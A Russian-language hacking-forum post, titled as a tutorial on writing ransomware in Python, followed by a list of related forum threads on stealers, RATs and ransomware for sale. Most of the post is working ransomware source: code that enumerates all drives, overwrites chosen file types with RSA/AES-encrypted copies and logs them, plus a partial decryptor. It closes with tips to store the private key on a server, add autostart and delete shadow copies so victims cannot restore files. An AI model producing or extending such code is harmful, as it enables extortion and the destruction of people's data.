Пишем шифровальщик на python

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

c076e435ee096af5cf965.png


Приветствую всех! Прежде чем читать статью предупреждаю, что показываю это все в ознакомительных целя. Приступим к кодингу.
Для начала я определился через какой алгоритм буду шифровать файлы. Я выбрал RSA.
Нашел туториал

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Я начал с генерации ключей, но у меня появилась ошибка, хотя я скопировал код сайта.
Я разобрался надо просто установить pycryptodome
Код:
pip install pycryptodome
Окей, ошибки я миновал, все работает.


Код:
from Crypto.PublicKey import RSA

code = 'nooneknows'
key = RSA.generate(2048)

encrypted_key = key.exportKey(
    passphrase=code,
    pkcs=8,
    protection="scryptAndAES128-CBC"
)

with open('my_private_rsa_key.bin', 'wb') as f:
    f.write(encrypted_key)

with open('my_rsa_public.pem', 'wb') as f:
    f.write(key.publickey().exportKey())

Этот кусок кода сгенерирует нам ключи.

Так теперь мы через os.walk() сделаем так, чтобы все файлы с нужным нам форматов добавлялись в список.
Код:
def GetDirectory(path):

    for rootdir, dirs, files in os.walk(path):

            for file in files:

                if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):

                    sek = os.path.join(rootdir, file)

                    tmp.append(sek)


Обратите внимание там где ['doc','mov'] вы можете продолжать список, например:['doc','mov','png','mp3']

Теперь напишем функцию получения дисков в системе.
Код:
def GetDisk():
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
        try:
            path = x + ":\\"
            os.chdir(path)
            retval = os.getcwd()
            disks.append(retval)
        except WindowsError:
            continue
Определим переменные:

Код:
disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\\'
Напишем функцию гена ключей:

Код:
def GenRSA():
    code = 'loli'
    key = RSA.generate(2048)

    encrypted_key = key.exportKey(
        passphrase=code,
        pkcs=8,
        protection="scryptAndAES128-CBC"
    )

    with open(appdata + 'prk.bin', 'wb') as f:
        f.write(encrypted_key)

    with open(appdata + 'pbk.pem', 'wb') as f:
        f.write(key.publickey().exportKey())
И теперь самое интересное, функция шифровки:

Код:
def Crypt(filename):
    handle = open(filename,'rb')
    data = handle.read()
    handle.close()
    data = bytes(data)
    with open(filename, 'wb') as out_file:
        recipient_key = RSA.import_key(
            open(appdata + 'pbk.pem').read()
        )
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        ciphertext, tag = cipher_aes.encrypt_and_digest(data)
        out_file.write(cipher_aes.nonce)
        out_file.write(tag)
        out_file.write(ciphertext)
Таким образом мы будем передавать полученные диски в os.walk()

Код:
for d in disks:
    GetDirectory(d)


Когда os.walk() соберет файлы с нужным нам форматом мы их прогоним через функцию crypt которая зашифрует их.

Код:
for filename in tmp:
    try:
        Crypt(filename)
        added.append(filename)
    except IOError:
        continue


Если будет ошибка что прав недостаточно, то файл пропускается.
Теперь сделаем так, чтобы он записывал в .locked файл, что он зашифровал, чтобы потом быстро можно было дешифровать.
Код:
handle = open(appdata + 'cripted.lock','w')
for j in added:
    handle.write(j)
    handle.write('\n')
handle.close()
print 'done'

Вот что у нас получилось:

Код:
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os

disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\\'

def GetDisk():
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
        try:
            path = x + ":\\"
            os.chdir(path)
            retval = os.getcwd()
            disks.append(retval)
        except WindowsError:
            continue



def GetDirectory(path):
    for rootdir, dirs, files in os.walk(path):
            for file in files:
                if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):
                    sek = os.path.join(rootdir, file)
                    tmp.append(sek)

def GenRSA():
    code = 'loli'
    key = RSA.generate(2048)

    encrypted_key = key.exportKey(
        passphrase=code,
        pkcs=8,
        protection="scryptAndAES128-CBC"
    )

    with open(appdata + 'prk.bin', 'wb') as f:
        f.write(encrypted_key)

    with open(appdata + 'pbk.pem', 'wb') as f:
        f.write(key.publickey().exportKey())

def Crypt(filename):
    handle = open(filename,'rb')
    data = handle.read()
    handle.close()
    data = bytes(data)
    with open(filename, 'wb') as out_file:
        recipient_key = RSA.import_key(
            open(appdata + 'pbk.pem').read()
        )
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        ciphertext, tag = cipher_aes.encrypt_and_digest(data)
        out_file.write(cipher_aes.nonce)
        out_file.write(tag)
        out_file.write(ciphertext)

GenRSA()
GetDisk()

for d in disks:
    GetDirectory(d)

for filename in tmp:
    try:
        Crypt(filename)
        added.append(filename)
    except IOError:
        continue

handle = open(appdata + 'cripted.lock','w')
for j in added:
    handle.write(j)
    handle.write('\n')
handle.close()
print 'done'
Теперь мы должны сделать расшифровку, верно? Я не буду показывать полноценный код для того, чтобы если вам действительно это интересно, вы доделаете сами. Я покажу код, который просто считает ОДИН файл, расшифровывает его и выводит дату на экран. Вот код:

Код:
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
import os #Импортим либы


code = 'loli'
appdata = os.environ['appdata']
appdata += r'\\' #Вводим переменные

with open('lx.txt', 'rb') as fobj:
    private_key = RSA.import_key(
        open(appdata + 'prk.bin').read(), #prk.bin это приватный ключ
        passphrase=code
    ) # Открываем зашифрованный файл

    enc_session_key, nonce, tag, ciphertext = [
        fobj.read(x) for x in (private_key.size_in_bytes(), 16, 16, -1)
    ]

    cipher_rsa = PKCS1_OAEP.new(private_key)
    session_key = cipher_rsa.decrypt(enc_session_key)

    cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
    data = cipher_aes.decrypt_and_verify(ciphertext, tag) #Расшифровываем

print(data)# Показываем дату расшифрованную

То есть что вам надо доделать в расшифровке, считать с файла cripted.lock пути к файлам, которые он зашифровал, и в цикл все это дело запихать и все файлы расшифровываем не выводим их содержимое а перезаписуем. Также можете по вкусу добавить автозагрузку, смена обоев и прочее. Еще один важный момент, у нас два ключа: публичный и приватный, приватный нужен для расшифровки поэтому его желательно хранить на сервере.
Я вам дал основу, дальше вы можете модифицировать этот код. Спасибо за внимание и не совершайте глупостей)

PS При считывание с файла в списке будет \n, с ним файлы расшифровываться не будут, чтобы убрать его(\n) используйте tmp = map(lambda s: s.strip(),tmp)
PSPS Также стоит сделать так чтобы удалялись shadowcopy, чтобы назад откатиться не могли.
 
Название темы
Автор Заголовок Раздел Ответы Дата
Ёшкин_кот Интересно Пишем любой текст на листочке который держит обнажённая девушка. 18+ Свободное общение и флейм 0
Ёшкин_кот Интересно Пишем вредоносное ПО с помощью ChatGPT. Формат mp4. English-speaking. Полезные статьи 0
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 3
U Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Другие ЯП 10
L Интересно C# - Пишем Watchdog (Модуль защиты вашего трояна) .NET 2
K Интересно [Roman Akhromieiev] Telegram. Пишем ботов на Node JS и Telegraf (2020) Другое 1
sxkury Пишем малютку для скана сайта Софт от наших юзеров 6
АнАлЬнАя ЧуПаКаБрА Интересно Пишем брут на любой(почти) банк [OFX] Другие ЯП 1
S Пишем свой перехватчик СМС Android Другие ЯП 3
T Пишем WinLocker на Delphi С/C++ 0
N Пишем отзывы и получаем от 200 рублей в день. Способы заработка 12
G Пишем парсер на Python - грабим Proxy ч.2 Бруты/Парсеры/Чекеры 0
G Пишем парсер на Python - грабим Proxy ч.1 Бруты/Парсеры/Чекеры 2
G Пишем скрипт для работы с VirusTotal-ом Полезные статьи 0
Traven Пишем спамер Telegram, на Python Другое 0
Traven Пишем свой стиллер на Python Другие ЯП 4
Traven WinLocker на python. Пишем вирус. Другое 0
V Пишем переносной кейлоггер на C++ Полезные статьи 1
O Пишем стиллер на Batch Вирусология 15
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор С/C++ 0
E [PHP] Пишем свой движок 2.0 Другие ЯП 0
Glods Пишем многопоточный Brute С/C++ 0
R Пишем билдер C# вариант 1 .NET 2
B Проверено [SELL] Легкий Быстрый шифровальщик JALO :: [C++ WinAPI, offline] Продажа софта 1
G Краткое знакомство с алгоритмами. Серверный шифровальщик на PHP. Mcrypt и SHA256. Полезные статьи 0
Support81 «Крыша» за криптовалюту: экс-полицейский МВД России в розыске за взятки на 4,9 млрд рублей Новости в сети 0
turbion0 Мошенник под видом начальника обманул петрозаводчанку почти на миллион рублей Новости в сети 0
Support81 Экс-сотрудник ФСБ на службе у хакеров: 9 лет тюрьмы за крышевание преступников Новости в сети 0
Y Ожидает оплаты YTparser - Парсер ютуба в телеграмме | Почты | ВКонтакте | Ссылки на каналы | И многое другое Продажа софта 0
Emilio_Gaviriya Статья Внедрение DNS-over-HTTPS на уровне операционной системы в KDE neon и Ubuntu. Анонимность и приватность 0
Support81 LockBit или DragonForce? Кибератака на Палау привела IT-специалистов в замешательство Новости в сети 0
hackway Куплю Автоматическая Скупка Аккаунтов ВКонтакте | Самые выгодные предложения на рынке! Куплю/Продам 0
El_IRBIS Интересно Проверка маршрутизатора на наличие вредоносных программ: полное руководство Вирусология 0
Support81 Криптовалютная империя на крови: KuCoin обвиняется в отмывании $9 млрд. Новости в сети 1
Tera_shop Продам Telegram аккаунты для рассылки, инвайта (Session + Json, Tdata) Tear-shop.ru Купить аккаунты на сайте: https://tear-shop.ru/ Tear-shop - Магазин Аккаунты/Админки/Документы 1
obscure Интересно YouTube канал на кардер\хаккинг\скам\кодер тематику Видео/Музыка 0
Support81 Был героем – стал злодеем: почему уставшие ИБ-специалисты встают на путь криминала Новости в сети 0
F Ручное размещение тем на разных форумах и продажа базы. Ищу работу. Предлагаю свои услуги. 2
Support81 Loop DoS: бесконечные циклы на службе киберпреступников Новости в сети 0
M Работа на выгодных условиях без особого труда. Предоставляю работу. Ищу специалиста. 0
Support81 ФБР: технологии могут повлиять на американские выборы в 2024 году Новости в сети 1
Emilio_Gaviriya Статья Поиск уязвимостей на хосте. Уязвимости и взлом 1
Support81 Американские власти наложили санкции на разработчиков спайвари Predator Новости в сети 0
Support81 Фишинг-кит CryptoChameleon ориентирован на пользователей мобильных устройств Новости в сети 0
srv24 Продам SRV24 - выделенные серверы в 193 странах мира от 15$! Скидки при оплате на 1 год! Заходи! Сайты/Хостинг/Сервера 1
Support81 Xeno RAT опубликован на GitHub: продвинутый кибершпионаж теперь доступен каждому Новости в сети 0
Support81 Более 100 тысяч зараженных репозиториев на GitHub маскируются под легитимные проекты Новости в сети 0
Emilio_Gaviriya Статья Как ловить хакеров на живца. Уязвимости и взлом 0
Support81 Картинки PNG - новый способ доставки троянов на компьютеры организаций Новости в сети 1
Support81 Темный рыцарь на продажу: в чьих руках окажется исходный код вымогателя Knight 3.0? Новости в сети 0

Название темы